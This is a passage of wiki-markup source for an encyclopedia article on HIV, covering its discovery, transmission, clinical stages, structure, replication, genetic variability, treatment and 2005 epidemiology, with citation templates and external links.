}}&lt;/ref&gt; and is now a [[pandemic]]. At the end of [[2004]], [[UNAIDS]] estimated that nearly 40 million people were currently living with HIV &lt;ref name=UNAIDS&gt;

{{cite web | 
author=[[UNAIDS]] | publisher= | publishyear= 2005 | url=http://www.unaids.org/Epi2005/doc/EPIupdate2005_pdf_en/epi-update2005_en.pdf | title=AIDS epidemic update, 2005 | accessdate=2006-02-28

}}&lt;/ref&gt;. The [[World Health Organization]] estimated that the AIDS epidemic had claimed more than 3 million people and that 5 million people had acquired HIV in the same year. Currently it is estimated that 28 million people have died and that it is set to infect 90 million people in [[Africa]], resulting in a minimum estimate of 18 million [[orphan]]s in Africa alone &lt;ref name=UNAIDS&gt;

{{cite web
 | author=[[UNAIDS]] | publisher= | publishyear= 2005 | url=http://www.unaids.org/Epi2005/doc/EPIupdate2005_pdf_en/epi-update2005_en.pdf | title=AIDS epidemic update, 2005 | accessdate=2006-02-28

}}&lt;/ref&gt;.

==Introduction==
In [[1983]], scientists led by [[Luc Montagnier]] at the [[Pasteur Institute]] in France first discovered the virus that causes AIDS &lt;ref name=Barre&gt;

{{cite journal 
| author=Barré-Sinoussi, F., Chermann, J. C., Rey, F., Nugeyre, M. T., Chamaret, S., Gruest, J., Dauguet, C., Axler-Blin, C., Vezinet-Brun, F., Rouzioux, C., Rozenbaum, W. and Montagnier, L. | title=Isolation of a T-lymphotropic retrovirus from a patient at risk for acquired immune deficiency syndrome (AIDS) | journal=Science | year=1983 | pages=868-871 | volume=220 | issue=4599 | id={{PMID|6189183}}

}}&lt;/ref&gt;. They called it lymphadenopathy-associated virus (LAV). A year later a team led by [[Robert Gallo]] of the United States confirmed the discovery of the virus, but they renamed it human T lymphotropic virus type III (HTLV-III) &lt;ref name=Popovic&gt;

{{cite journal 
| author=Popovic, M., Sarngadharan, M. G., Read, E. and Gallo, R. C. | title=Detection, isolation, and continuous production of cytopathic retroviruses (HTLV-III) from patients with AIDS and pre-AIDS | journal=Science | year=1984 | pages=497-500 | volume=224 | issue=4648 | id={{PMID|6200935}}

}}&lt;/ref&gt;. The dual discovery led to considerable scientific fall-out, and it was not until President [[François Mitterrand|Mitterand]] of France and President [[Ronald Reagan|Reagan]] of the USA met that the major issues were ironed out. In 1986, both the French and the US names were dropped in favour of the new term human immunodeficiency virus (HIV) &lt;ref name=Coffin&gt;

{{cite journal 
| author=Coffin, J., Haase, A., Levy, J. A., Montagnier, L., Oroszlan, S., Teich, N., Temin, H., Toyoshima, K., Varmus, H., Vogt, P. and Weiss, R. A. | title=What to call the AIDS virus? | journal=Nature | year=1986 | pages=10 | volume=321 | issue=6165 | id={{PMID|3010128}}

}}&lt;/ref&gt;. 

HIV is a member of the genus [[lentivirus]] &lt;ref name=ICTV61.0.6&gt;

{{cite web 
| author=[[International Committee on Taxonomy of Viruses]] | publisher= | publishyear=2002 | url=http://www.ncbi.nlm.nih.gov/ICTVdb/ICTVdB/61060000.htm | title=61.0.6. Lentivirus  | accessdate=2006-02-28

}}&lt;/ref&gt;, part of the family of [[retroviridae]]&lt;ref name=ICTV61.&gt;

{{cite web
| author=[[International Committee on Taxonomy of Viruses]] | publisher= | publishyear=2002 | url=http://www.ncbi.nlm.nih.gov/ICTVdb/ICTVdB/61000000.htm | title=61. Retroviridae | accessdate=2006-02-28

}}&lt;/ref&gt;. Lentiviruses have many common morphologies and biological properties. Many species are infected by lentiviruses, which are characteristically responsible for long duration illnesses associated with a long period of incubation &lt;ref name=Levy&gt;

{{cite journal 
| author=Lévy, J. A. | title=HIV pathogenesis and long-term survival | journal=AIDS | year=1993 | pages=1401-1410 | volume=7 | issue=11 | id={{PMID|8280406}}

}}&lt;/ref&gt;. Lentiviruses are transmitted as single-stranded, positive-sense, enveloped [[RNA virus]]es. Upon infection of the target-cell, the viral RNA [[genome]] is converted to double-stranded [[DNA]] by a virally encoded [[reverse transcriptase]] which is present in the virus particle. This viral DNA is then integrated into the cellular DNA for replication using cellular machinery. Once the virus enters the cell, two pathways are possible: either the virus becomes [[latent]] and the infected cell continues to function or the virus becomes active, replicates and a large number of virus particles are liberated which can infect other cells. 

Two species of HIV infect humans: HIV-1 and HIV-2. HIV-1 is the more virulent and easily transmitted, and is the source of the majority of HIV infections throughout the world; HIV-2 is largely confined to west Africa &lt;ref name=Reeves&gt;

{{cite journal 
| author=Reeves, J. D. and Doms, R. W | title=Human Immunodeficiency Virus Type 2 | journal=J. Gen. Virol. | year=2002 | pages=1253-1265 | volume=83 | issue=Pt 6 | id={{PMID|12029140}}

}}&lt;/ref&gt;. Both species originated in west and central Africa, jumping from primates to humans in a process known as [[zoonosis]]. HIV-1 has evolved from a [[simian immunodeficiency virus]] (SIVcpz) found in the [[chimpanzee]] subspecies, ''Pan troglodytes troglodytes'' &lt;ref name=Gao&gt;

{{cite journal 
| author=Gao, F., Bailes, E., Robertson, D. L., Chen, Y., Rodenburg, C. M., Michael, S. F., Cummins, L. B., Arthur, L. O., Peeters, M., Shaw, G. M., Sharp, P. M. and Hahn, B. H. | title=Origin of HIV-1 in the Chimpanzee Pan troglodytes troglodytes | journal=Nature | year=1999 | pages=436-441 | volume=397 | issue=6718 | id={{PMID |9989410}}

}}&lt;/ref&gt;. HIV-2 crossed species from a different strain of SIV, found in [[sooty mangabey]] monkeys in [[Guinea-Bissau]] &lt;ref name=Reeves&gt;

{{cite journal 
| author=Reeves, J. D. and Doms, R. W | title=Human Immunodeficiency Virus Type 2 | journal=J. Gen. Virol. | year=2002 | pages=1253-1265 | volume=83 | issue=Pt 6 | id={{PMID|12029140}}

}}&lt;/ref&gt;.  It is possible that HIV-1 entered the human populations in the 1930's.

Another controversial possibility for the origin of HIV/AIDS was discussed in a [[1992]] Rolling Stone magazine article by freelance journalist Tom Curtis.  He put forward the theory that AIDS was inadvertantly caused in the late 1950's in the [[Belgian Congo]] by [[Hilary Koprowski]]'s research into a [[polio]] [[vaccine]] &lt;ref name=Curtis&gt;{{

  cite journal |
    author=Curtis, T. |
    title=The origin of AIDS|
    journal=Rolling Stone | year=1992 | pages=54-59, 61, 106, 108 | volume= | issue=626 | url=http://www.uow.edu.au/arts/sts/bmartin/dissent/documents/AIDS/Curtis92.html

}}&lt;/ref&gt;.  Although subsequently retracted due to [[libel]] issues surrounding its claims, the Rolling Stone article encouraged another freelance journalist, [[Edward Hooper]], to travel to Africa for 7 years of research into this subject.   Hooper's research resulted in his publishing a 1999 book, [[The River]], in which he alleged that an experimental oral [[polio]] [[vaccine]] prepared using  [[chimpanzee]] kidney tissue was the route through which [[SIV]] mutated into HIV and started the human AIDS epidemic, some time between [[1957]] to [[1959]] &lt;ref name=Hooper&gt;{{

  cite book 
  | author = Hooper, E. 
  | year = 1999 
  | title = The River : A Journey to the Source of HIV and AIDS 
  | edition = 1st
  | pages =  1-1070
  | publisher = Little Brown &amp; Co
  | location = Boston, MA
  | id = ISBN 0316372617

}}&lt;/ref&gt;.

==Transmission==
Since the beginning of the [[pandemic]], three main transmission routes of HIV have been identified:

* '''Sexual route.''' The majority of HIV infections are acquired through unprotected sexual relations. Sexual transmission occurs when there is contact between sexual secretions of one partner with the rectal, genital or oral [[mucous membranes]] of another. According to the French ministry for health, the probability of transmission per act varies from 0.03% to 0.07% for the case of receptive vaginal sex, from 0.02 to 0.05% in the case of penetrative vaginal sex, from 0.01% to 0.185% in the case of penetrative anal sex, and 0.5% to 3% in the case of receptive anal sex &lt;ref name=FrenchHealth&gt;

{{cite web
| author=French Ministry in charge of Health | publisher= | publishyear= | url=http://www.sante.gouv.fr/pdf/dossiers/sidahop/ch16.pdf | title=Accidents d'exposition au risque de transmission du VIH | accessdate=2006-02-28

}}&lt;/ref&gt;.  

* '''Blood or blood product route.''' This transmission route is particularly important for intravenous drug users, [[hemophiliac]]s and recipients of [[blood transfusion]]s and blood products. It is also of concern for persons receiving medical care in regions where there is prevalent substandard hygiene in the use of injection equipment (e.g. reused needles in Third World settings). Health care workers (nurses, laboratory workers, doctors, etc) are also directly concerned, although more rarely. Also concerned by this route are people who give and receive tattoos, piercings and scarification procedures.

* '''Mother-to-child route.''' The transmission of the virus from the mother to the child can occur ''in utero'' during the last weeks of pregnancy and at childbirth. Breast feeding also presents a risk of infection for the baby. In the absence of treatment, the transmission rate between the mother and child was 20%. However, where treatment is available, combined with the availability of [[Cesarian section]], this has been reduced to 1%.

HIV has been found at low concentrations in the [[saliva]], [[tears]] and [[urine]] of infected individuals, but the risk of transmission by these secretions is considered to be negligible.

The use of physical barriers such as the [[latex]] [[condom]] is widely advocated to reduce the sexual transmission of HIV. Recently, it has been proposed that male [[circumcision]] may reduce the risk of HIV transmission &lt;ref name=Siegfred&gt;

{{cite journal 
| author=Siegfried, N., Muller, M., Deeks, J., Volmink, J., Egger, M., Low, N., Walker, S. and Williamson, P. | title=HIV and male circumcision--a systematic review with assessment of the quality of studies | journal=Lancet Infect. Dis. | year=2005 | pages=165-173 | volume=5 | issue=3 | id={{PMID|15766651}}

}}&lt;/ref&gt;, but many experts believe that it is premature to recommend male circumcision as part of HIV prevention programs &lt;ref name=WHOcircumcision&gt;

{{cite web
| author=[[WHO]] | publisher= | publishyear=2005 | url=http://www.who.int/mediacentre/news/releases/2005/pr32/en/ | title=UNAIDS statement on South African trial findings regarding male circumcision and HIV | date=2006-02-28

}}&lt;/ref&gt;. 

''For more details on this topic, see [[AIDS#Prevention|AIDS prevention]]

==The clinical course of HIV-1 infection==
[[Image:hiv-timecourse.png|right|thumbnail|250px|Figure 1. Graph showing HIV virus and CD4+ levels over the course of an untreated infection]]
Infection with HIV-1 is associated with a progressive loss of CD4+ T-cells. This rate of loss can be measured and is used to determine the stage of infection. The loss of CD4+ T-cells is linked with an increase in viral load. The clinical course of HIV-infection generally includes three stages: primary infection, clinical latency and AIDS (Figure 1). HIV plasma levels during all stages of infection range from just 50 to 11 million virions per ml &lt;ref name=Piatak&gt;

{{cite journal 
| author=Piatak, M., Jr, Saag, M. S., Yang, L. C., Clark, S. J., Kappes, J. C., Luk, K. C., Hahn, B. H., Shaw, G. M. and Lifson, J.D. | title=High levels of HIV-1 in plasma during all stages of infection determined by competitive PCR | journal=Science | year=1993 | pages=1749-1754 | volume=259 | issue=5102 | id={{PMID|8096089}}

}}&lt;/ref&gt;.

===Primary Infection===
Primary, or acute infection is a period of rapid viral replication that immediately follows the individual's exposure to HIV. During primary HIV infection, most individuals (80 to 90%) develop an acute syndrome characterised by flu-like symptoms of [[fever]], [[malaise]], [[lymphadenopathy]], [[pharyngitis]], [[headache]], [[myalgia]], and sometimes a rash &lt;ref name=Kahn&gt;

{{cite journal 
| author=Kahn, J. O. and Walker, B. D. | title=Acute Human Immunodeficiency Virus type 1 infection | journal=N. Engl. J. Med.  | year=1998 | pages=33-39 | volume=331 | issue=1 | id={{PMID|9647878}}

}}&lt;/ref&gt;. Within an average of three weeks after transmission of HIV-1, a broad HIV-1 specific immune response occurs that includes [[seroconversion]]. Because of the nonspecific nature of these illnesses, it is often not recognized as a sign of HIV infection. Even if patients go to their doctors or a hospital, they will often be misdiagnosed as having one of the more common infectious diseases with the same symptoms. Since not all patients develop it, and since the same symptoms can be caused by many other common diseases, it cannot be used as an indicator of HIV infection. However, recognizing the syndrome is important because the patient is much more infectious during this period.

===Clinical Latency===
A strong immune defense reduces the number of viral particles in the blood stream, marking the start of the infection's clinical latency stage (Figure 1). Clinical latency can vary between two weeks and 20 years. During this early phase of infection, HIV is active within [[Lymphatic system|lymphoid organs]], where large amounts of virus become trapped in the follicular [[dendritic cell]]s (FDC) network. The surrounding tissues that are rich in CD4+ T-cells also become infected, and viral particles accumulate both in infected cells and as free virus. Individuals who have entered into this phase are still infectious.

===The declaration of AIDS===
[[AIDS]] is the most severe manifestation of infection with HIV. Acute HIV infection progresses over time to clinical latent HIV infection and then to early symptomatic HIV infection and later, to AIDS, which is identified on the basis of certain infections.

''For more details on this topic, see [[AIDS#Diagnosis|AIDS Diagnosis]] and [[AIDS#Symptoms and Complications|AIDS Symptoms and Complications]].''

==HIV structure and genome==
{{main|HIV structure and genome}}
[[Image:800px-HIV Viron.png|thumb|250px|Diagram of HIV]]
HIV is different in structure from previously described retroviruses. It is around 120 nm in diameter (120 billionths of a meter; around 60 times smaller than a red blood cell) and roughly spherical.

HIV-1 is composed of two copies of single-stranded [[RNA]] enclosed by a conical capsid, which is in turn surrounded by a [[cell membrane|plasma membrane]] that is formed from part of the host-cell membrane. Other [[enzyme]]s contained within the virion particle include [[reverse transcriptase]], [[integrase]], and [[protease]].

HIV has several major genes coding for structural proteins that are found in all retroviruses, and several nonstructural (&quot;accessory&quot;) genes that are unique to HIV.  The ''gag'' gene provides the physical infrastructure of the virus; ''pol'' provides the basic enzymes by which retroviruses reproduce; the ''env'' gene supplies the proteins essential for viral attachment and entry into a target cell.  The accessory proteins ''tat'', ''rev'', ''nef'', ''vif'', ''vpr'', and ''vpu'' enhance virus production.  Although called accessory proteins, ''tat'' and ''rev'' are essential for virus replication.  In some strains of HIV, a mutation causes the production of an alternate accessory protein, Tev, from the fusion of ''tat'', ''rev'', and ''env''.

The gp120 and gp41 proteins, both encoded by the ''env'' gene, enable the virus to attach to and fuse with target cells to initiate the infectious cycle. Both, especially gp120, have been considered as targets of future treatments or vaccines against HIV.

==HIV tropism ==
The term ''viral tropism'' refers to the cell type that the virus infects and replicates in. HIV can infect a variety of cells such as [[Helper T cell|CD4+ helper T-cells]] and [[macrophage]]s that express the CD4 molecule on its surface. HIV-1 entry to macrophages and T helper cells is mediated not only through interaction of the virion envelope glycoproteins (gp120) with the CD4 molecule on the target cells but also with its chemokine coreceptors. Macrophage (M-tropic) strains of HIV-1, or non-syncitia-inducing strains (NSI) use the beta-[[chemokine]] receptor [[CCR5]] for entry and are thus able to replicate in macrophages and CD4+ T-cells &lt;ref name=Coakley&gt;

{{cite journal 
| author=Coakley, E., Petropoulos, C. J. and Whitcomb, J. M. | title=Assessing chemokine co-receptor usage in HIV | journal=Curr. Opin. Infect. Dis. | year=2005 | pages=9-15 | volume=18 | issue=1 | id={{PMID|15647694}}

}}&lt;/ref&gt;. The normal [[ligand]]s for this receptor, [[RANTES]], macrophage inflammatory protein (MIP)-1-beta and MIP-1-alpha, are able to suppress HIV-1 infection ''in vitro''. This CCR5 coreceptor is used by almost all primary HIV-1 isolates regardless of viral genetic subtype. Indeed, macrophages play a key role in several critical aspects of HIV disease. They appear to be the first cells infected by HIV and perhaps the very source of HIV production when CD4+ cells are markedly depleted in the patient. Macrophages and microglial cells are the cells infected by HIV in the [[central nervous system]]. In tonsils and adenoids of HIV-infected patients, macrophages fuse into multinucleated giant cells that produce copious amounts of virus. T-tropic isolates, or [[syncitia]]-inducing (SI) strains replicate in primary CD4+ T-cells as well as in macrophages and use the alpha-chemokine receptor, [[CXCR4]], for entry &lt;ref name=Coakley&gt;

{{cite journal 
| author=Coakley, E., Petropoulos, C. J. and Whitcomb, J. M. | title=Assessing chemokine co-receptor usage in HIV | journal=Curr. Opin. Infect. Dis. | year=2005 | pages=9-15 | volume=18 | issue=1 | id={{PMID|15647694}}

}}&lt;/ref&gt;. The alpha-chemokine, SDF-1, a ligand for CXCR4, suppresses replication of T-tropic HIV-1 isolates. It does this by down regulating the expression of CXCR4 on the surface of these cells. Viruses that use only the CCR5 receptor are termed R5, those that only use CXCR4 are termed X4, and those that use both, X4R5. However, the use of coreceptor alone does not explain viral tropism, as not all R5 viruses are able to use CCR5 on macrophages for a productive infection &lt;ref name=Coakley&gt;

{{cite journal 
| author=Coakley, E., Petropoulos, C. J. and Whitcomb, J. M. | title=Assessing chemokine co-receptor usage in HIV | journal=Curr. Opin. Infect. Dis. | year=2005 | pages=9-15 | volume=18 | issue=1 | id={{PMID|15647694}}

}}&lt;/ref&gt;.

HIV can also infect a subtype of dendritic cells &lt;ref name=Knight&gt;

{{cite journal 
| author=Knight, S. C., Macatonia, S. E. and Patterson, S. | title=HIV I infection of dendritic cells | journal=Int. Rev. Immunol. | year=1990 | pages=163-175 | volume=6 | issue=2-3 | id={{PMID|2152500}}

}}&lt;/ref&gt;, MDC-1, which probably constitute a major reservoir that maintains infection when T helper cell numbers have declined to extremely low levels.

==Replication cycle of HIV==
{| align=right
| [[Image:Hiv gross.png|right|thumbnail|200px|Figure 2. The HIV replication cycle]]
|-
| [[Image:Hiv.gif|right|thumbnail|200px|Figure 3. The immature and mature forms of HIV]]
|}
===Viral entry to the cell===
The interaction between the [[glycoprotein]] [[HIV structure and genome#gp120|gp120]] on the HIV virion and its receptor, [[CD4]] on the target cell, provokes [[chemical conformation|conformational]] changes in gp120. This exposes a region of gp120, the V3 loop, which binds to a [[cytokine]] receptor on the target cell, such as [[CCR5]] or [[CXCR4]] depending on the strain of HIV. Without a coreceptor, fusion does not take place, explaining why HIV favors some types of CD4+ cells over others.

The change in gp120's shape also exposes a portion of the [[HIV structure and genome#gp41|gp41]] glycoprotein, which was previously buried in the viral membrane and loosely bound to gp120. A fusion peptide within gp41 causes the fusion of the viral envelope and the host-cell envelope, allowing the capsid to enter the target cell. The exact mechanism by which gp41 causes the fusion is still largely unknown &lt;ref name=Chan&gt;

{{cite journal 
| author=Chan, D. C. and Kim, P. S. | title=HIV entry and its inhibition | journal=Cell | year=1998 | pages=681-684 | volume=93 | issue=5 | id={{PMID|9630213}}}}
&lt;/ref&gt;&lt;ref name=Wyatt&gt;

{{cite journal 
| author=Wyatt, R. and Sodroski, J. | title=The HIV-1 envelope glycoproteins: fusogens, antigens, and immunogens | journal=Science | year=280 | pages=1884-1888 | volume=280 | issue=5371 | id={{PMID|9632381}}}}&lt;/ref&gt;.

Once HIV has bound to the target cell, the HIV [[RNA]] and various [[enzymes]], including but not limited to reverse transcriptase, integrase and protease, are injected into the cell.

===Viral replication and transcription===
Once the viral capsid has entered the cell, an [[enzyme]] called ''[[reverse transcriptase]]'' liberates the single-stranded (+)[[RNA]] from the attached viral proteins and copies it into a negatively sensed viral complementary [[DNA]] of 9 kb pairs (cDNA) (Figure 2). This process of reverse transcription is extremely error prone and it is during this step that mutations (such as drug resistance) are likely to arise. The reverse transcriptase then makes a complementary DNA strand to form a double-stranded viral DNA intermediate (vDNA). This new vDNA is then transported into the [[cell nucleus]]. The integration of the proviral DNA into the host [[genome]] is carried out by another viral enzyme called ''[[integrase]]''. This is called the latent stage of HIV infection &lt;ref name=Zheng&gt;

{{cite journal 
| author=Zheng, Y. H., Lovsin, N. and Peterlin, B. M. | title=Newly identified host factors modulate HIV replication | journal=Immunol. Lett. | year=2005 | pages=225-234 | volume=97 | issue=2 | id={{PMID|15752562}}

}}&lt;/ref&gt;. To actively produce virus, certain [[transcription factors]] need to be present in the cell. The most important is called [[NF-kB]] (NF Kappa B) and is present once the T cells becomes activated. This means that those cells most likely to be killed by HIV are in fact those currently fighting infection.

The production of the virus is regulated, like that of many viruses. Initially the integrated [[provirus]] is copied to [[mRNA]] which is then [[Splicing (genetics)|spliced]] into smaller chunks. These small chunks produce the regulatory proteins [[Tat]] (which encourages new virus production) and [[Rev]].  As Rev accumulates it gradually starts to inhibit [[mRNA]] [[splicing]] &lt;ref name=Pollard&gt;

{{cite journal 
| author=Pollard, V. W. and Malim, M. H. | title=The HIV-1 Rev protein | journal=Annu. Rev. Microbiol. | year=1998 | pages=491-532 | volume=52 | issue= | id={{PMID|9891806}}

}}&lt;/ref&gt;. At this stage the structural proteins Gag and Env are produced from the full-length mRNA.  Additionally the full-length RNA is actually the virus genome, so it binds to the Gag protein and is packaged into new virus particles.

Interestingly, HIV-1 and HIV-2 appear to package their RNA differently; HIV-1 will bind to any appropriate RNA whereas HIV-2 will preferentially bind to the mRNA which was used to create the Gag protein itself. This may mean that HIV-1 is better able to mutate (HIV-1 causes AIDS faster than HIV-2 and is the majority species of the virus).

===Viral assembly and release===
The final step of the viral cycle, assembly of new HIV-1 virions, begins at the plasma membrane of the host cell. The Env polyprotein (gp160) goes through the [[endoplasmic reticulum]] and is transported to the [[Golgi]] complex where it is cleaved by [[protease]] and processed into the two HIV envelope glycoproteins gp41 and gp120. These are transported to the [[plasma membrane]] of the host cell where gp41 anchors the gp120 to the membrane of the infected cell. The Gag (p55) and Gag-Pol (p160) polyproteins also associate with the inner surface of the plasma membrane along with the HIV genomic RNA as the forming virion begins to bud from the host cell. Maturation either occurs in the forming bud or in the immature virion after it buds from the host cell. During maturation, HIV proteases (proteinases) cleave the polyproteins into individual functional HIV proteins and enzymes. The various structural components then assemble to produce a mature HIV virion &lt;ref name=Gelderblom&gt;

{{cite book 
| last = Gelderblom | first = H. R | year = 1997 | title = '''HIV Sequence Compendium''' | chapter = Fine structure of HIV and SIV | chapterurl = http://hiv.lanl.gov/content/hiv-db/COMPENDIUM/1997/partIII/Gelderblom.pdf | editor = Los Alamos National Laboratory (ed.) | edition = | pages = 31-44 | publisher = Los Alamos National Laboratory | location = Los Alamos, New Mexico 

}}&lt;/ref&gt;. This step can be inhibited by drugs. The virus is then able to infect another cell.

==Genetic variability of HIV==
{| align=right
| [[Image:HIV-SIV-phylogenetic-tree.png|thumb|200px|Figure 4. The phylogenetic tree of the SIV and HIV viruses (click on image for a detailed description).]]
|-
| [[Image:subtype.png|thumb|200px|Figure 5. Map showing HIV-1 subtype prevalence. The bigger the pie chart, the more infections are present.]]
|}
One of the major characteristics of HIV is its high genetic variability as a result of its fast [[HIV#Life cycle of HIV|replication cycle]] and the high error rate and recombinogenic properties of reverse transcriptase. This means that different [[genomic]] combinations may be generated within an individual who is infected by genetically different HIV strains. Recombination results when a cell is simultaneously infected by two different strains of HIV and one RNA transcript from two different viral strains are encapsidated into the same virion particle. This virion then infects a new cell where it undergoes replication. During this phase, the reverse transcriptase, by jumping back and forth between the two different RNA templates, will generate a newly synthesized retroviral DNA sequence that is a recombinant between the two parental genomes. This recombination is most obvious when it occurs between subtypes.

Three groups of HIV-1 have been identified on the basis of differences in ''env'': M, N and O &lt;ref name=Thomson&gt;

{{cite journal 
| author=Thomson, M. M., Perez-Alvarez, L. and Najera, R. | title=Molecular epidemiology of HIV-1 genetic forms and its significance for vaccine development and therapy | journal=Lancet Infect. Dis. | year=2002 | pages=461-471 | volume=2 | issue=8 | id={{PMID|12150845}}

}}&lt;/ref&gt; (Figure 4). Group M is the most prevalent and is subdivided into eight subtypes, based on the whole genome, that are each geographically distinct &lt;ref name=Carr&gt;

{{cite book 
| last = Carr | first =  J. K. | coauthors =  Foley, B. T., Leitner, T., Salminen, M., Korber, B. and McCutchan, F. | year = 1998 | title = '''HIV Sequence Compendium''' | chapter = Reference Sequences Representing the Principal Genetic Diversity of HIV-1 in the Pandemic | chapterurl = http://hiv.lanl.gov/content/hiv-db/COMPENDIUM/1998/III/Carr.pdf | editor = Los Alamos National Laboratory (ed.) | edition =  | pages = 10-19 | publisher = Los Alamos National Laboratory  | location = Los Alamos, New Mexico 

}}&lt;/ref&gt;. The most prevalent are subtypes B (found predominantly in North America and Europe), A and D (found predominantly in Africa), and C (found predominantly in Africa and Asia) (Figure 5); these subtypes form branches in the phylogenetic tree representing the lineage of the M group of HIV-1 (Figure 4). Coinfection with distinct subtypes gives rise to circulating recombinant forms (CRFs). 

In 2000, the last year in which an analysis of global subtype prevalence was made, 47.2% of infections worldwide were of subtype C, 26.7% were of subtype A/CRF02_AG, 12.3% were of subtype B, 5.3% were of subtype D, 3.2% were of CRF_AE, and the remaining 5.3% were composed of other subtypes and CRFs &lt;ref name=Osmanov&gt;

{{cite journal 
| author=Osmanov S, Pattou C, Walker N, Schwardlander B, Esparza J; WHO-UNAIDS Network for HIV Isolation and Characterization. | title=Estimated global distribution and regional spread of HIV-1 genetic subtypes in the year 2000 | journal=Acquir. Immune. Defic. Syndr. | year=2002 | pages=184-190 | volume=29 | issue=2 | id={{PMID|11832690}}

}}&lt;/ref&gt; (Figure 5). Almost 95% of all HIV research currently taking place is focused on subtype B, while a few laboratories focus on other subtypes.

==Treatment==
HIV infection is a [[chronic]] infectious disease that can be treated, but not yet cured. There are effective means of preventing [[complication (medicine)|complications]] and delaying progression to [[AIDS]]. At the present time, not all persons infected with HIV have progressed to [[AIDS]], but it is generally believed that the majority will. People with HIV infection need to receive education about the disease and treatment so that they can be active partners in decision making with their health care provider.

A combination of several antiretroviral agents, termed Highly Active Anti-Retroviral Therapy [[antiretroviral drug|HAART]], has been highly effective in reducing the number of HIV particles in the blood stream (as measured by a [[HIV test|blood test called the viral load]]). This can improve [[T-cell]] counts. This is not a cure for HIV, and people on [[antiretroviral drug|HAART]] with suppressed levels of HIV can still transmit the virus to others through sex or sharing of needles. There is good evidence that if the levels of HIV remain suppressed and the CD4 count remains greater than 200, then the quality and length of life can be significantly improved and prolonged. Improved antiretroviral inhibitors against proteins such as [[Reverse transcriptase]], [[HIV structure and genome#Integrase|Integrase]] and [[HIV structure and genome#Tat|Tat]] are being researched and developed. One of the most promising new therapies is a new class of drugs called [[fusion inhibitor|fusion or entry inhibitors]].
{{see details|Antiretroviral drug}}

[[Post-exposure prophylaxis]] (PEP) with a course of antiviral drugs is also thought to reduce the risk of seroconversion after high risk exposure (unprotected anal or vaginal sex) to HIV &lt;ref name=Fan&gt;

{{cite book 
| author =  | year = 2005 | title = '''AIDS : science and society''' | chapter =  | chapterurl =  | editor = Fan, H., Conner, R. F. and Villarreal, L. P. eds | edition = 4th edition | pages =  | publisher = Jones and Bartlett Publishers | location = Boston, MA | id = ISBN 076370086X 

}}&lt;/ref&gt;. To be effective, it must be started as soon as possible after exposure and no later than 72 hours post-exposure. The treatment for HIV lasts four weeks. While there is compelling data to suggest that PEP after HIV exposure is extremely effective, there have been cases where it has failed.

As yet, no vaccine has been developed to prevent HIV infection or disease in people who are not yet infected with HIV, but the potential worldwide public health benefits of such a preventive vaccine are vast. Researchers in many countries are seeking to produce such a vaccine, including through the [[International AIDS Vaccine Initiative]].

==Epidemiology==
{| align=right
| [[Image:HIV Epidem.png|thumb|200px|Figure 6. The adult HIV prevalence at the end of 2004]]
|}
[[UNAIDS]] and the WHO estimated that between 37 and 45 million people around the world were living with HIV in December 2005 &lt;ref name=UNAIDS&gt;

{{cite web 
| author=[[UNAIDS]] | publisher= | publishyear= 2005 | url=http://www.unaids.org/Epi2005/doc/EPIupdate2005_pdf_en/epi-update2005_en.pdf | title=AIDS epidemic update, 2005 | accessdate=2006-02-28

}}&lt;/ref&gt;. It was estimated that during 2005, between 4.9 and 6.6 million people were newly infected with HIV and between 2.8 and 3.6 million people with AIDS died &lt;ref name=UNAIDS&gt;

{{cite web 
| author=[[UNAIDS]] | publisher= | publishyear= 2005 | url=http://www.unaids.org/Epi2005/doc/EPIupdate2005_pdf_en/epi-update2005_en.pdf | title=AIDS epidemic update, 2005 | accessdate=2006-02-28

}}&lt;/ref&gt;. Sub-Saharan Africa remains by far the worst-affected region, with 23.8 million to 28.9 million people living with HIV at the end of 2005. The proportion of women being affected by the epidemic continues, in 2005, 16.2–19.3 million women were living with HIV — one million more than in 2003. Just under two thirds (64%) of all people living with HIV are in sub-Saharan Africa, as are more than three quarters (77%) of all women living with HIV &lt;ref name=UNAIDS&gt;

{{cite web 
| author=[[UNAIDS]] | publisher= | publishyear= 2005 | url=http://www.unaids.org/Epi2005/doc/EPIupdate2005_pdf_en/epi-update2005_en.pdf | title=AIDS epidemic update, 2005 | accessdate=2006-02-28

}}&lt;/ref&gt;. South &amp; South East Asia are second most affected with 18%. AIDS accounts for the deaths of 500,000 children.

The epidemic is not homogeneous within regions with some countries more afflicted than others (Figure 6). Even at the country level there are wide variations in infection levels between different areas, sexes and socioeconomic situation. The number of people living with HIV continues to rise, but in several countries it is declining. Evidence points out that changes in sexual behaviour, such as increased use of condoms, fewer sexual partners and delay of sexual experience, played key parts in these declines. The steepest increases have occurred in in Eastern
Europe and Central Asia (25% increase to 1.6 million) and East Asia &lt;ref name=UNAIDS&gt;

{{cite web
| author=[[UNAIDS]] | publisher= | publishyear= 2005 | url=http://www.unaids.org/Epi2005/doc/EPIupdate2005_pdf_en/epi-update2005_en.pdf | title=AIDS epidemic update, 2005 | accessdate=2006-02-28}}&lt;/ref&gt;. 
{{see details|AIDS pandemic}}

==Other viewpoints==
A small minority of scientists, such as [[Peter Duesberg]] and [[1993]] [[chemistry]] [[nobel]] prize winner [[Kary Mullis]], express doubts over the HIV-AIDS link, and others, such as [[Eleni Papadopulos-Eleopulos]], a medical [[physicist]] based at [[Royal Perth Hospital]] in [[Australia]], deny the existence of HIV altogether. However, these claims have been refuted by the scientific community for almost 20 years now.
{{see details|AIDS reappraisal}}

==References==
&lt;references/&gt;

{{AIDS}}

==External links==
* [http://www.HIVMedicine.com HIV Medicine 2005], a medical textbook, &gt;700 pages
* [http://www.structure.org/content/article/fulltext?uid=PIIS0969212605003898 The Mechanism of HIV-1 Core Assembly: Insights from Three-Dimensional Reconstructions of Authentic Virions]
* [http://www.aids.org  AIDS.ORG: Educating - Raising HIV Awareness - Building Community]
*[http://www.aidsvaccine.org/ Capital Area Vaccine Effort]
* [http://www.aegis.org AEGiS.org: AIDS Education Global Information System- Patient/clinician information &amp; Historical news and treatment database]
* [http://www.ericdigests.org/pre-9212/hiv.htm AIDS/HIV Education]
* [http://www.sumanasinc.com/webcontent/anisamples/microbiology/hiv.html Watch an animated tutorial on the life cycle of HIV]
* [http://www.cmeonhiv.com Continuing medical education about HIV for healthcare providers]
* [http://fightaidsathome.scripps.edu/  FightAIDS@Home]
* [http://3dscience.com/advancedsearch.asp?stS=hiv&amp;cboMatch=Any&amp;selectcategory=0&amp;txtMinPrice=&amp;txtMaxPrice=  Free HIV Images]
* [http://www.hivatis.org HIV/AIDS Treatment Information Service]
* [http://www.ericdigests.org/1997-3/hiv.html HIV/AIDS Education in Teacher Preparation Programs]
